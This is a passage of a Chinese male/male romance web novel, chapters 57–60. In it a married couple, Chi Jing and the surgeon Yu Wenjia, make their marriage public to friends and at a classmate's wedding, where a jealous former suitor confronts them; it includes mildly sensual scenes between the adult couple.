池镜顺着他的目光回头看了一眼。 余闻嘉是刚从学校过来的,今天休息,他也没闲着,去了实验室。他直接从学校乘地铁过来的,背上还背着书包。 余闻嘉走了过来,Allen朝他笑了笑:“好久不见。” 余闻嘉看了他一眼,没说话,只是礼貌地点了下头。 “看来是还记得我啊。”Allen说。 余闻嘉问池镜:“走了吗?” “那么着急走干什么。”Allen微微笑着,“你不坐下一起喝点?” 余闻嘉说:“我来接人,不喝酒。” Allen看了眼池镜:“真不再坐会儿了?” “不了。”池镜摇头,拿起桌上的手机,“得回了。” Allen笑了声:“不会是因为他来接你,你才非得走吧。” 池镜看他一眼,一时间没说话。 Allen以为他是默认了,转了转手里的酒杯,调侃道:“他让你走你就走,他在你这话语权倒是挺大。” 池镜还没说什么,余闻嘉已经把他拉到了自己身边,语气平平淡淡的:“我是他家属,话语权大有什么问题?” Allen眼睛一眯:“……家属?” 余闻嘉转头看着池镜:“你坐这半个小时,还没能让他知道你已经结婚了?” Allen一怔,惊讶地看向池镜:“结婚?” 场面稍微有点混乱,一旁的陆思远笑着坐了回去。 余闻嘉攥住了池镜的手,指腹在他无名指的戒指上用力地蹭了一下,皱眉道:“这戒指真是白戴了。” “怪我。”池镜笑着说,“没举着手在他面前晃一晃。” 第57章 第 57 章 我就跟他炫了一把。 57 “那你现在举起来晃。”余闻嘉开玩笑道。 池镜手指在他手心刮了刮, 笑道:“现在还晃什么。我可以直接跟他说。” “介绍一下。”池镜转头看向Allen,“余闻嘉,我先生。” Allen的目光在池镜和余闻嘉之间来回扫视。 去年池镜生日聚会那次, 这俩人的关系给他感觉就挺微妙的,当时池镜说对方只是他很重要的弟弟, 现在对方突然出现在这里, 他本意就是调侃一下池镜, 谁知道几句打趣的话竟牵出了池镜结婚的消息。 Allen点着头笑了一声,眼底那点震惊已经散了:“什么时候结的婚?” “快半年了。” Allen喝了口酒,看着池镜道:“Carlos, 你不坦诚啊。” 池镜挑了下眉:“怎么说?” Allen笑着摇摇头:“还问我怎么说……” 池镜大概能猜到Allen在想什么,他八成以为他去年生日的时候就跟余闻嘉有点什么。 “没跟你不坦诚,情况也不是你想的那样。”池镜无意久留,告辞道,“行了, 不多聊了,我们先走了,你们慢喝。” Allen放下酒杯起身道:“送送你们。” 酒吧门口车位紧缺,池镜和陆思远的车都停在地下车库, 酒吧入口有直达地库的电梯, Allen把他们几个送到电梯口。 余闻嘉问池镜要车钥匙, 池镜说:“我开吧,我没喝酒。” 余闻嘉说:“我开。” 池镜只好把车钥匙给他,跟他报了个车位号。 “那我也先走了。”陆思远跟他们道别,临走前跟Allen交换了手机号,笑着跟他说,“今天这顿酒谢谢了, 改天我回请,看你什么时候有空。” Allen挑眉一笑:“客气。我哪天都有空,你随时。” 陆思远垂眸笑了声:“行。” 池镜去门口等余闻嘉,Allen没走,送他到门口。他从烟盒里摸了支烟咬进嘴里,点上烟抽了一口。 “难怪当初让我别打人家主意呢,”Allen吐了口烟,转头看着池镜,眼神有点玩味,“我那时候要是没听你的,非要打他主意,岂不是夺人所好了?” 他确实是误会了,以为池镜那时候对余闻嘉有别的想法,只是没承认。所以刚才才会说池镜“不坦诚”,毕竟他当初就问过池镜他跟余闻嘉的关系,池镜那时候撇得很干净。 池镜倒也没解释,笑了笑说:“你夺不了。” Allen咬着烟,眉梢微微挑起。 “你那时真要打他主意也没用,”池镜看着从远处驶来的车,淡淡一笑,“因为他那时候心里就都是我了。” 余闻嘉把车开了过来,池镜走过去打开车门,回头道:“走了。” Allen笑着站在那儿,点了点头。 “聊什么了?”池镜坐上车,余闻嘉就问。 “聊你了。”池镜说。 余闻嘉转头看他一眼。 “毕竟人家之前也对你有过点意思么。”池镜也故意翻了翻旧账。 余闻嘉沉默片刻,开口道:“非提这个。” 池镜笑道:“你不是不记得吗,我帮你回忆回忆。” 余闻嘉一声不吭、面无表情地看着前面。 前面红绿灯路口,一个很长的红灯,车一停下来,余闻嘉就转身靠过来,在池镜唇上用力地咬了一口。 池镜吃痛地“唔”了声。 “不需要你帮我回忆。”余闻嘉盯着他的眼睛,指腹在他唇上轻轻蹭了蹭,“我说不记得就不记得。” 池镜笑了声,不跟他开玩笑了,坦言道:“确实是聊你了。他非得跟我聊,我就跟他炫了一把。” 绿灯亮了,余闻嘉重新启动车,问:“炫什么了?” “我跟他说你心里有我,他当初想打你主意也没用。” 余闻嘉没说话,嘴角不太明显地勾起一个弧度。 “我说得对吗?”池镜转头问他。 余闻嘉点了点头:“对。” 安静了片刻后,余闻嘉说:“我心里有你很久了。” 这句话让池镜的心微微一颤,他“嗯”了声,说:“我知道。” 一到家,余闻嘉刚把书包放沙发上,转身就被池镜搂着脖子吻住了。他愣了一下,随即搂紧池镜的腰,无声而汹涌地回吻他。 吻了一会儿,池镜呼吸变得有点急促,余闻嘉放开他,想让他缓口气。 池镜没缓两秒,嘴唇又软软地贴过来,哑声说:“去洗澡。” 余闻嘉吻着他,说:“嗯。” “抱我去。”池镜双臂环住他的脖子。 余闻嘉托着他的腰将他从正面抱起来,池镜两条腿顺势夹在了余闻嘉腰侧。 余闻嘉托着池镜的两条腿,抱着他走进浴室。 一路上两人的嘴唇都贴在一起。 池镜的腿紧紧夹着余闻嘉的腰,余闻嘉直接把他抱到了洗水台上。 余闻嘉手撑在池镜两侧,将他困在自己身前,额头抵着他的额头,声音有些发沉:“今天不是没喝酒吗。” “是没喝啊。”池镜低笑,有一下没一下、轻轻软软地啄着他的嘴唇,“我嘴里有没有酒味你闻不出来?” “你像是喝多了。” “下次喝多了你再看,”池镜捧着他的脸,从嘴唇亲到下巴,“我是不是现在这样。” 余闻嘉呼吸沉了沉,猛地扣住他的后颈,低下头堵住他的嘴。 池镜收到了些许“惩罚”,他的舌头被余闻嘉含着咬着,被粗暴地对待。他疼得眉心微微蹙起,轻哼出声。他没有阻止,他接纳余闻嘉的粗暴,他就是要余闻嘉完完全全地拥有他。 “疼了?”余闻嘉摩挲着他被咬肿的唇瓣,知道自己弄疼他了,“对不起。” 池镜轻笑:“怎么老爱说对不起。难不成以后每次弄疼我,都要跟我说对不起?” 余闻嘉掐着他腰的手微微收紧,嗓音喑哑:“别说这话。” “为什么别说。”池镜手指在他小腹上划了一下,“又是让你受不了的话吗。” 余闻嘉凝视着他,眼底暗潮涌动。 刚才被余闻嘉抱着的时候池镜就感觉到了,他手撑着台面,弯起腿,膝盖在余闻嘉某处蹭了蹭。 “你要我吗?”池镜抬起眼皮,问他。 余闻嘉已经快疯了。 池镜搂住他的脖子,贴在他耳边问他要不要做。 池镜明天还要上班,现在时间也不早了,他们俩在这方面都没有经验,真要做实了还不知道得折腾到多晚。 余闻嘉到底是没做,不仅是没经验的问题,需要用的东西家里都没有,他怕弄伤池镜。他把池镜从洗水台上抱下来,抱进淋浴间,打开花洒让热气填满这个小小的空间。他把池镜压在玻璃门上,还是让他用手帮自己。池镜问他真的不来?余闻嘉摇头说不来,说:你明天还要上班,怕你下不来床。这次光用手是真的不够,池镜被余闻嘉翻身按在瓷砖上,后颈被细细密密地啃吻。池镜用腿容纳着他,余闻嘉的呼吸沉沉地砸进他的耳里。 其实两人都没下意识去考虑过位置的问题,亲密接触的过程中身体会自然而然地帮他们做出答案。 池镜知道余闻嘉要他,他也愿意给他。 两人没做什么,结束也快十二点了。 池镜没穿裤子躺在床上,余闻嘉坐在床边帮他腿上抹药膏。刚才折腾得有点久,池镜大腿内侧被磨破皮了,红了一片。 余闻嘉的考虑是对的,真要做实,池镜明天真不一定能下床去上班。 “疼吗?”余闻嘉问他。 “稍微有点。” 余闻嘉俯下身,忽然对着他腿上泛红的地方吹了口气。 池镜腿一抖,条件反射地侧了下腿,挡住那片地方,笑着问:“干什么啊。” “给你呼呼。” “给我呼得汗毛都起来了。” 余闻嘉又吹了吹。池镜腿上浮起一层鸡皮疙瘩,他推开余闻嘉的脸,失笑道:“饶了我。别呼了。” 余闻嘉把药膏放床头柜上,上床躺在池镜旁边,池镜起身要穿裤子,余闻嘉拉着他躺下来,把他圈在怀里:“别穿了,就这么睡吧。” 他的手在池镜腿上轻轻抚着:“就这样都能把你弄伤,皮肤怎么那么嫩。” 池镜笑着说:“那是你太凶了,跟我皮肤嫩不嫩没关系。” “那也是你招的。”余闻嘉垂眸看着他,“跟我说那些话。” 池镜笑了笑:“喜欢你才招你。” 接着他又说:“我还有个话,刚才没跟你说。” 余闻嘉问:“什么话?” 池镜抓着他的手按在自己心口,凑到余闻嘉耳旁,轻声道:“我心里也有你,永远永远都有你。” 第58章 第 58 章 看来以后得少哄哄。 58 余闻嘉好好休息了两天, 之后又回归到忙碌的工作中。外出一趟,回来更忙了。整个科室都忙,手术排得满满的, 连着几天都加班,基本每天都要九十点才到家。有两天回得太晚, 到家池镜都睡着了。 余闻嘉不缺精力和体力, 但这种情况下还是没考虑跟池镜做那档子事。 池镜本来就没有熬夜的习惯, 要不是每天都等他下班,基本到点就睡了。每天回来见池镜满脸困意的,他别的什么也没想了, 只想让他好好睡觉。 今天下午排了两台手术,中午余闻嘉给池镜发了消息,说晚上要晚回家。 收到余闻嘉消息没多久,池镜又收到了丁铭的消息,丁铭约他晚上一起吃饭。 丁铭:晚上有空?出去吃饭。 池镜:吃什么? 丁铭:随你。晚上再看也行。 池镜现在名义上是已婚人士, 是有“家室”的人,丁铭现在每次跟他约饭都会习惯性问一下他家属。 丁铭:晚上不用跟家属一块吃饭? 池镜:他加班。 丁铭:那行。 丁铭:我今天没开车,你下了班直接来学校接我。 池镜:嗯。 丁铭他们学校今天开运动会,学生放学早, 池镜到学校的时候, 校门口乌泱泱的都是学生。他好不容易才找到个停车的位置, 停好给丁铭打了个电话。 “到了啊?”丁铭身边都是路过的学生,电话那头人声嘈杂。 “你真能挑时候下班。”池镜往窗外扫了一眼,“但凡晚个半小时呢。” 丁铭笑出声来:“今天开运动会,放学早。我也赶早溜了。没想起来跟你提一嘴,堵那儿了吧?” “你赶紧。” “马上。” 池镜在车上等了五分钟,看到窗外丁铭走过来的身影。今天开运动会, 他也穿了身运动装,看着减龄了不少。 丁铭年纪轻,性子也比较随性,在学生间很受欢迎,那帮孩子跟他没什么距离感。他打开车门,旁边路过一个他们班的学生,挥着手喊了声“铭哥”。 丁铭回了下头,那男生扭头看着这边,边走边喊:“铭哥再见!” 丁铭笑着指了指他:“你小子当心撞树。” 丁铭上了车,问池镜:“想好吃什么没?” “就家常菜吧。”池镜说。 “这么能替我省钱呢。” 他一说这话,池镜立马报了个高档家常菜的店名,丁铭笑着“靠”了声:“我就不该提这一嘴。” 两人在饭店吃饭的时候,同时收到了一条群聊消息,还是上次高中校庆的那个群。他们一位老同学这周六结婚,邀请群里的同学去参加婚礼。 这个群其实没多少人,本来就是为了校庆重聚临时建的,不是所有高中同学都在群里。上次校庆同学聚餐,他们这些多年不见的老同学也算是借着一顿饭重新拉近了下距离,校庆过后很久群里还时常有人在聊天。虽然是个临时群聊,但活人气息很重。 池镜吃饭不看手机,是丁铭先看到了消息。他喝着汤,另一只手拿着手机在看:“李毅霖要结婚了。” 池镜抬了下头。 “群里。”丁铭说,“叫我们周六去喝喜酒。” 池镜拿起手机看了眼,李毅霖在群里发了请柬,还补了一句:有家属的带家属,有对象的带对象啊。 吃得差不多的时候,池镜叫来服务员重新点了几个菜,丁铭纳闷道:“今天饕餮附体了?还没吃饱啊?” “给家属点的。”池镜跟服务员说,“这几个菜麻烦帮我打包。” “好的。” “他不是在加班?你送医院去啊?” 池镜喝了口水,点头“嗯”了声。 饭菜打包好,池镜先开车送丁铭回家,然后去了医院。余闻嘉还没下手术台,池镜给他发消息他没回。 这个点心外科办公室没人,下班的已经走了,没下班的还在手术台上。办公室的门关着,池镜敲门里面没人应,他也不好意思直接进去,叫住了一个路过的护士:“不好意思,打扰一下。” 护士停下脚步,声音很温柔:“怎么了,有事吗?” 池镜礼貌地笑了笑:“我是医生家属,来送饭的,办公室里好像没人,方便直接进去吗?” 这种情况确实要问一下,不然办公室里要是丢了什么东西文件的,就该说不清了。 护士眨了下眼睛:“你是哪位医生的家属呀?” “心外科余闻嘉医生。” 护士愣了下,有点惊讶:“余医生?” “是的。” 家属这个词涵盖的范围还是挺大的,虽然护士第一反应就是那个家属,但她还是问了句:“你是他哥哥吗?” “不是。我是他先生。” 听到池镜的回答,护士才彻底确定此家属就是彼家属。 “余医生都结婚啦?” 池镜笑着点了点头:“是的。” “我天……” 余闻嘉比这位护士还小几岁,他是科里能上手术台拿手术刀的大夫里最年轻的一个,甚至还没读完博士。 护士完全没想到他居然都结婚了,还是跟一个这么有气质的帅哥。 护士帮他开了门,笑着指了指余闻嘉办公桌的位置。 “谢谢。”其实池镜知道余闻嘉的办公桌是哪张,他之前就来医院给他送过饭。 “不客气,你走的时候记得把门带上哦。”护士笑着走了。 余闻嘉十点才下手术台,回办公室看到桌上放着打包的饭菜。池镜两小时前给他送来的饭,还给他发了微信:给你送了饭过来,放你办公桌上了,热一热再吃。 他们医院食堂大部分窗口七点半就不供餐了,最晚的供餐到九点。一般情况下余闻嘉加班不超过这个点就会去食堂吃饭,当然,这都是以前了。现在他跟池镜都是谁回家早就谁做饭,这几天都是池镜做饭,他的厨艺正在缓慢进步中,每天把饭菜放蒸箱保温着,余闻嘉下班到家就能吃。 今天池镜跟丁铭在外面吃饭,就顺路把打包的饭菜送医院来了。 医院这边有微波炉,余闻嘉把饭菜拿去热了,吃了饭才回家。 余闻嘉到家快十一点了,池镜给他留了盏廊灯。家里很安静,池镜已经睡了,余闻嘉怕吵着他,没去卧室拿睡衣,直接去浴室洗澡了,出来的时候身上就穿了条内裤。 他轻手轻脚地开门进屋,没开灯,摸着黑走去床边。这么黑也看不见睡衣在哪儿,他不打算找了,轻轻掀开被子,正要躺进去,床上的人忽然动了一下。被子摩擦发出轻响,池镜闭着眼,手从被子底下探出来碰到了余闻嘉的腰。 “回来了?”池镜嗓子有点哑,手在余闻嘉身上摸了两下,摸到他腰间结实的肌肉。 余闻嘉没穿衣服,身上光溜溜的,池镜摸了一把摸到的全是紧实的肌肉,还摸到了他的内裤。 余闻嘉把他手拉开,躺进被窝,侧过身把他搂进怀里。 池镜这才发现余闻嘉没穿衣服,手又在他腹部摸了摸,余闻嘉按住他的手:“给我验身呢。” 池镜笑了声,指尖轻轻划他小腹上的肌肉:“今天怎么这么奔放。” “真奔放我就不穿内裤了。” “你现在脱也没事。”池镜指尖下划,勾住他的内裤边。 余闻嘉捏住他的下巴:“不困了是吗。” 池镜无声地笑着,把手收回来,不招他了。 余闻嘉亲了亲他,池镜摸着他的脸问:“累了吧。” 余闻嘉早就习惯这个工作强度了,要说很累那也不至于,总好过值班通宵。但他还是把脸埋在了池镜颈间,闷着声音跟他说:“累。” 池镜轻轻摩挲着他的后颈:“辛苦我们闻嘉了。” “这周六上班吗?”池镜问他。 “要上。” “还是要加班?” “不一定,应该不加,那天只排了一台手术。怎么了?” “你要不加班,晚上跟我去喝喜酒?”池镜说,“我高中同学结婚。” “是以家属的身份跟着你去?” 池镜笑了笑:“那你还想以什么身份跟着我去?” “那得看你。” 池镜跟他开玩笑:“那行啊,到时候我就介绍说你是我弟,反正弟弟也算家属。” 池镜这张贫嘴,有时候是该治治。 “那你应该带池明去。”余闻嘉松开他,翻了个身背对他,“我是你弟弟吗。” 池镜笑着靠过来,从身后搂住他的腰:“不带他。带你。跟不跟我去?” “我是你谁?” “家属。” “哪种家属?” 池镜笑了下,十分坦然:“老公。” 余闻嘉闭着眼嘴角挑起浅浅的笑意,但是没说话。池镜凑上前,在他耳边问:“我老公呢,帮我问问他怎么不说话。” “他说他在跟你摆谱。” “还要摆多久?” “五秒。” 池镜问:“五秒够吗?要不再加几秒?” 说五秒就五秒,五秒一到余闻嘉就转过了身,按着他的脑袋吻住他的嘴唇。也没吻多狠,吻狠了又得折腾到老晚才睡。 池镜舔了舔嘴角,浅浅笑着:“干什么要跟我摆谱?” “要你哄。” “不摆我也哄啊。”池镜拿鼻尖蹭了蹭他下巴,“我哄你的还少啊。” “所以把我惯成现在这样了。”余闻嘉说,“贪心得很。” 池镜笑出声来,松开了搂在他腰上的手:“那倒是我的错了,看来以后得少哄哄。” 余闻嘉拉着他的胳膊重新环在自己腰上,说:“不许。” 第59章 第 59 章 看来当初这句话不是醉话…… 59 婚宴周六晚上六点左右开始, 余闻嘉也差不多是这个点下的班,他下班再早也早不到哪里去,所以头天晚上就跟池镜说了, 婚礼不用接他一起过去,他下了班自己打个车去酒店。 池镜没有自己先过去, 他五点半就到医院了, 给余闻嘉发了个消息, 车停在门口停车场上等了半小时。 余闻嘉下了班才看到池镜的消息,在医院门口找到他的车,开门坐进了副驾。 “不是说不用等我。”余闻嘉把书包扔在了后座。 “你是我带着去的家属, 我还能让你一个人过去?”池镜转头看了眼他。 余闻嘉日常标配T恤运动裤,穿得休闲清爽,身材高大也挡不住那一身的学生气。 池镜常穿正装,他俩站一起其实画风有点格格不入,不像一对, 更像哥俩。 “坐这半小时都干什么了?”余闻嘉在他耳廓上摸了摸。 池镜把车开出去,笑着说:“观察人类。” “我觉得我该买辆车了。”余闻嘉说。 “上下班坐地铁不是挺方便?用不着买车。” 余闻嘉每天三点一线,学校、医院、家,都在地铁线上, 离得也不远, 平时坐地铁其实挺方便的。医院这地方, 早晚高峰都堵得水泄不通,开车才是最不方便的。 “没车老要你接送,麻烦。” “我不嫌麻烦。”池镜笑了声,“你那点存款,要买辆稍微好点的车,买完直接赤贫。” “贷款买。” “你要是怕麻烦我接送才想买个车, 就别买。真用不着。知不知道?” 余闻嘉考量了片刻,说:“知道了,听你的。” 他们差不多六点半到的酒店,婚宴已经开始了,入座的客人在用餐,台上倒是没有主持人在说话,大厅里只回荡着悠扬的音乐声,是乐队的现场伴奏。 新郎同学那几桌是挨着主舞台的,离大厅入口处最远,池镜和余闻嘉一路走过去,走了好久才看到几桌熟悉的面孔。 丁铭抬眼看到池镜,刚想抬手招呼他,视线一晃瞥见他身后的余闻嘉,猛地就愣住了。 池镜高中是班长,在班上人缘很好,坐在这一桌的人基本每个都能跟他说上话。老同学们跟他打招呼,同时视线落在一旁余闻嘉身上——带朋友来参加同学婚礼不太可能,那就只可能是对象。他们都有点意外,池镜的对象居然是位男士。 池镜笑着跟他们说话,手在余闻嘉背上搭了一下,示意他入座。余闻嘉坐下后,池镜坐在了他旁边。 这一桌还没坐满,池镜另一边坐的是丁铭,他侧过头小声问池镜:“什么情况,你怎么把咱闻嘉弟弟带过来了?” “他不是我家属?”池镜反问。 丁铭糊里糊涂的:“搞什么,当初还让我对外瞒着你俩结婚的事,现在是闹哪样?” 池镜笑了笑,轻声说:“他现在真是我家属。” 丁铭缓慢地眨了下眼睛:“……什么意思?” “自己琢磨。” 池镜转头问余闻嘉:“喝什么?” 余闻嘉想喝水,但桌上没有,只有饮料和酒。他摇头说:“不喝。” 大概过了五秒,旁边突然传来丁铭的一声“我靠”。 他扒拉着池镜的胳膊让他转过来,眼睛看看他,又看看余闻嘉:“你?你俩?” “琢磨过来了?”池镜问。 “服了,弄假成真啊你们?”他压低声音说了一句。 池镜正对面坐着他们班老学委,老学委目光在余闻嘉脸上扫着,想起来他之前见过这个人,就是那次跟池镜在酒吧喝酒。他心想什么情况啊这是? “池镜,这位……是你朋友?”老学委挺委婉地问了一句。 池镜笑了下,说:“家属。” 老学委一愣,略带迟疑道:“……是我想的那种家属吗?” 池镜今天带余闻嘉来参加婚礼,本意就是想把他们这段一直隐瞒的婚姻关系推到明面上,他笑着说:“不知道你说的是哪种家属。反正我这位是结了婚的那种家属。” 在这之前,池镜在他这帮同学和朋友眼里还一直是单身状态。池镜的恋人是男生就已经够让人意外的了,更别说还结婚了。 正说着,这一桌又走来一人,是庄楚。他一出现,打断了老学委和池镜之间的对话,其他人的注意力也都转移了,抬眼看向他。 庄楚跟众人打了声招呼,眸光往池镜这边掠了一下,看到池镜旁边的余闻嘉,他目光顿了顿。 他有大半年没露过面了,这段时间似乎一直在国外,丁铭胳膊搭在他肩膀上:“这都多久没见了啊,还以为你消失了。” “这阵子比较忙。” “听说是回去继承家业了?” “算是。” 丁铭笑了:“什么叫算是。” 庄楚漫不经心地笑笑:“得把那老东西从公司踹出去了,我才能消停。” “老东西谁啊?” “我爸。”庄楚喝了口酒。 老学委接着刚才的话题问池镜:“你什么时候结的婚啊?怎么这么突然?都没听你提过。”他跟池镜前阵子还一起吃过一顿饭,完全没听他说过这事。 他这话让庄楚表情明显一怔,众人的目光又转到了池镜和余闻嘉那儿。 “刚结啊?”老学委又问。 “有段时间了。”池镜说。 老学委“啧”了声:“结婚也不叫我们。” 池镜笑了笑:“我们婚礼办得比较简单,没请什么人。” “关起门来自己结是吧?你这捂得也太严实了。” 余闻嘉坐在那儿,抬眼时对上了庄楚的目光。定睛看清这人的脸,余闻嘉才想起来这人是谁。 新人敬酒一圈后婚礼也差不多结束了,今天是老同学结婚,池镜多少还是喝了点酒。李毅霖敬到他们一桌的时候,特意叮嘱他们这帮老同学婚宴结束后别走,之后还有afterparty,就在酒店外面的草坪场地。 李毅霖和他太太原打算举办派对婚礼,两家家长不同意,表明了必须要办个传统酒席,于是两人一商量,就决定两种形式合在一起办了。 池镜知道余闻嘉不爱凑这种热闹,酒席一结束就打算带他走了。 “你不去派对?”余闻嘉问他。 “你想去啊?” “我随便。” 池镜笑了笑:“知道你不想去。所以我也不打算去了,等会儿我跟李毅霖打声招呼。” 余闻嘉知道这种情况提前离场不太好,毕竟新郎还是在敬酒的时候特意邀请他们留下来参加派对的。 “不用管我。”余闻嘉跟池镜说,“你去,我跟着。” “确定要去?” “嗯。” 池镜点了点头:“行。那你跟着我。” 说罢他走到余闻嘉身边牵住了他的手,“跟紧了,别丢了。” 丁铭去洗手间了,不知哪时从身后冒出来的,跟鬼一样,脸突然出现在两人肩膀中间,两只手分别搭在他俩的肩头,幽幽道:“你俩还能再黏糊点。” 池镜被他吓一跳。 池镜动了动肩膀,试图晃开他的手:“撒开。妨碍我俩黏糊了。” 丁铭“啧啧”两声:“这假戏真做了就是不一样啊。” “不是假戏。”余闻嘉突然开口。 “嗯?”丁铭看向他。 余闻嘉看了池镜一眼,像是刻意强调一般:“我是真戏真做。” 池镜垂眼笑道:“知道你是。” 酒宴散席之后去草坪场地参加派对的基本都是新郎新娘的同学和朋友,一帮年轻人聚在一起很热闹,也玩得开。 池镜坐在椅子上看他们唱歌跳舞玩游戏,转头看了看坐他旁边的余闻嘉。 “我说先走你还说不用。”池镜笑着拉了一下他的手,“无聊了吧?” “还好。”余闻嘉捏了捏他手指,“你不去跟他们玩?” “我陪你玩。” 余闻嘉无声地笑了笑:“陪我干坐着也叫玩?” “一会儿回家再陪你好好玩。”池镜起身道,“我去拿点蛋糕吃。” “我帮你拿。”余闻嘉也站起来。 “不用。我又不是没手没脚。” “说了我拿。”余闻嘉按着他的肩膀让他坐回去。 李毅霖跟他太太端着酒杯又敬了一圈酒,敬到池镜这边,池镜连忙站起来,接过他递来的酒杯。 “新婚快乐。”池镜笑着跟他们夫妻俩碰了碰杯。 人走后,池镜站在原地小口小口地抿着酒,看远处的人放烟花。 “好久不见。” 庄楚的声音。 池镜回了下头,浅浅一笑:“好久不见。” “喝一个?”庄楚举了下酒杯。 池镜跟他碰了下杯,抿了口酒。 庄楚垂眼,目光落向他的无名指,那里戴着戒指,池镜已经结婚了。 “是真的结婚了?”庄楚问他。 “嗯,是。” 庄楚晃了晃手里的酒杯,突然问:“出于什么契机结的婚?” 庄楚盯着他,笑了笑:“难不成是因为那句‘请你跟我结婚’?” 池镜没接话。 他没想到过去这么久,庄楚还能记得余闻嘉当时说的这句话。 “是吗?”庄楚追问。 这没什么好否认的,池镜点头道:“是的。” 庄楚点了点头,仰头喝了口酒。 这一刻他忽然觉得自己很可笑,戴着面具才跨出的那一步,却阴差阳错推了别人一把。 他沉默了片刻,忽然攥住池镜的手腕,拉起他的手,垂眼盯着他手上的戒指。 池镜眉头一皱,用力地挣了一下,沉声道:“放开。” 庄楚紧紧攥着,池镜挣不开,手里的酒杯晃动着,酒洒了出来。 “明明你那时候应该心里没人的。”庄楚自嘲地笑了一声,“我真是做了一件挺可笑的事……” 话音刚落,庄楚的手就被余闻嘉拽着一把扯开了。 池镜人往前趔趄了一下,手里的酒杯摔在了草坪上。余闻嘉扶了他一下,皱着眉,眼神有点冷。 “‘请你跟我结婚。’”庄楚重复了一下余闻嘉说过的这句话,似笑非笑地看着他,“看来当初这句话不是醉话。” 第60章 第 60 章 没有任何一个人有这资格…… 60 池镜当时会露出那么错愕的表情, 那就说明在那之前,对方应该从没跟他表露过心迹。 “怎么,你也跟我一样吗。”庄楚问余闻嘉, 同时看一眼池镜,“求而不可得。所以才会在那种情况下跳出来, 说那样一句话?” “你是你, 我是我, 别混为一谈。”余闻嘉语气平淡地开口。 庄楚摇着头嗤笑一声,酒杯在手里转了转。 好几杯酒下肚,他也受到了酒精的影响, 掌控不了自己的情绪,变得有些不冷静。 尽管知道当初没有这个小插曲发生,他和池镜的人生也未必能相交,他也还是不甘心。 凭什么呢。 我跨出的那一步,竟然把你往前推了一把。 真的是太可笑了。 人在被负面情绪控制的时候, 总习惯于对外输出、发泄。 庄楚不常有这种时刻,今天却克制不了。 “你那时候心里有他吗。”庄楚问池镜,“看着不像有的样子。” 池镜皱着眉打断他:“说这些话有意思吗。你是不是喝多了,去喝点水缓缓吧。”说着他拉了一下余闻嘉的胳膊, 想远离这儿。 庄楚继续说着, 目光落在余闻嘉身上:“那就是先结婚才慢慢发展感情的了?那是不是你换个其他没有感情基础的人结婚, 最终也会是这样的结果。结婚,接触,然后喜欢。” 他说这话的时候是看着余闻嘉的,话也是说给余闻嘉听的。 余闻嘉面无表情地盯着他,眼底看不出什么情绪。 庄楚轻轻嗤笑一声。 对方看着他的眼神越冷,他心里就越痛快。 谁能接受自己在一段感情或者婚姻中是可替代的呢。 只要对方把这话放心上, 他就必然会在意,会难受。 到这一刻庄楚也彻底明白自己跟池镜终究不是一个世界的人。 他是阴暗的,他走不进池镜的世界。 池镜的脸色变得不太好看,他张了张嘴,余闻嘉先他一步开了口:“问那么多你怎么不问问他当初为什么没有选择你而选了我?” 庄楚满不在意地笑了笑,反问:“你是想说因为你特殊?” 余闻嘉点了点头:“知道就行。” 庄楚眯了下眼睛。 “有件事你也需要知道一下。你从来就没有被选的资格。”余闻嘉看着他,语气始终很平静,“不光是你,没有任何一个人有这资格。” 庄楚脸上的笑意消失了。 “怎么了这是?”丁铭走了过来。 余闻嘉弯腰捡起地上的酒杯,把手里的餐盘递给池镜。盘子装着他刚才去拿的甜品。 庄楚仰头把杯子里的酒一饮而尽,深深地看了池镜一眼。 他知道现在说什么都没意义了,往后他跟池镜连朋友也做不了了。 池镜没再看他,他也没再说什么,转身走了。 丁铭看了眼庄楚走远的身影,转头看看池镜和余闻嘉。他再粗神经也感觉出来了,每次他们三个在一起氛围都有点不对劲。池镜生日那次就是这样,说不上来的别扭。 他没多问,直觉告诉他不该多问。 “拿这么多。”池镜看着餐盘里的小点心,抬眸看了眼余闻嘉。 “慢慢吃。”余闻嘉说着把酒杯拿去放在了一旁的桌上,好在草坪是软的,酒杯没有摔破。 尽管余闻嘉神色如常,池镜还是觉得他的心情可能受到了影响。 余闻嘉放完杯子回过来,池镜吃了块小蛋糕,跟他说:“吃完蛋糕我们回家。” 余闻嘉看了他一眼,点了点头。 池镜叉了一小块蛋糕喂他,问:“是不是不高兴了?” “没有。” “没有就好。” 吃完蛋糕,池镜去跟新郎打了个招呼,就跟余闻嘉一起回家了。丁铭跟他们一道走的,他不乐意一个人待在这。 池镜喝了酒,回去是余闻嘉开的车。路上谁也没提刚才的事,没提庄楚。余闻嘉不提,池镜当然也不会主动提,本来就怕余闻嘉因为这人不高兴。 在余闻嘉眼里,庄楚大概才是那个实实在在的旧账。 毕竟他刚才说的话太刻意了,就是故意说给余闻嘉听的,带着一股挑拨的意味。 尽管余闻嘉说他没有不高兴,可这一路他都没怎么说话。虽然他平时话也不多,但情绪状态骗不了人。 他在开车,池镜不想影响他,暂且没跟他聊这事。 到家后,门一关上,池镜便在玄关搂住了他脖子,亲了亲他,说:“不是说没有不高兴吗?骗我?” “没骗你。”余闻嘉圈住他的腰。 庄楚刚才说的那些话,余闻嘉都一一顶回去了,池镜原以为自己不需要再解释什么。他以为余闻嘉明白他的心。 “还是把他说的那些屁话放心上了?”池镜问他,“你刚才都顶回去了,我以为你知道我心里怎么想的。” “我知道。”余闻嘉说。 池镜盯着他:“不像个知道的样子。” 不管余闻嘉真知道假知道,池镜必须要把话跟他说明白。 他抱住了余闻嘉,在他耳边说:“我可以很肯定地告诉你,不是你,我都不可能结婚。所以根本就不存在我跟其他没有感情基础的人结婚这种情况,这不可能发生。就是你刚才说的那样,他连被选的资格都没有,谁都没有这个资格。你是唯一的、最特殊的那个。” 余闻嘉紧紧搂住了他,侧过头吻他的耳垂,没有说话。 “我的心已经摊开了明明白白放你眼前了。”池镜抚着他的后背,“不许再多想了。” “没有多想。”余闻嘉把脸贴在他颈侧,低声说。 池镜很久没喝过酒了,今天喝了点,身上有点热,他搂着余闻嘉的脖子,懒懒得挂在他身上。 他刚想叫余闻嘉抱他去洗澡,还没开口,余闻嘉却松开了他,抚了抚他腰侧,说:“先去洗个澡。” “抱我去”这三个字堵在池镜嗓子眼儿,到底是没说出口。 不知道为什么,他总觉得余闻嘉的情绪还落在底下。到底是怎么了?他没有头绪。 池镜去洗澡前,余闻嘉先泡了杯蜂蜜水让他喝掉。他没拿衣服去洗了澡,穿着浴袍从浴室出来的时候,没在客厅看见余闻嘉。 书房的灯开着,池镜走过去看了眼。 余闻嘉坐在桌前,鼻梁上架了副黑框眼镜,桌上放着他的笔电,他敲着键盘在打字。 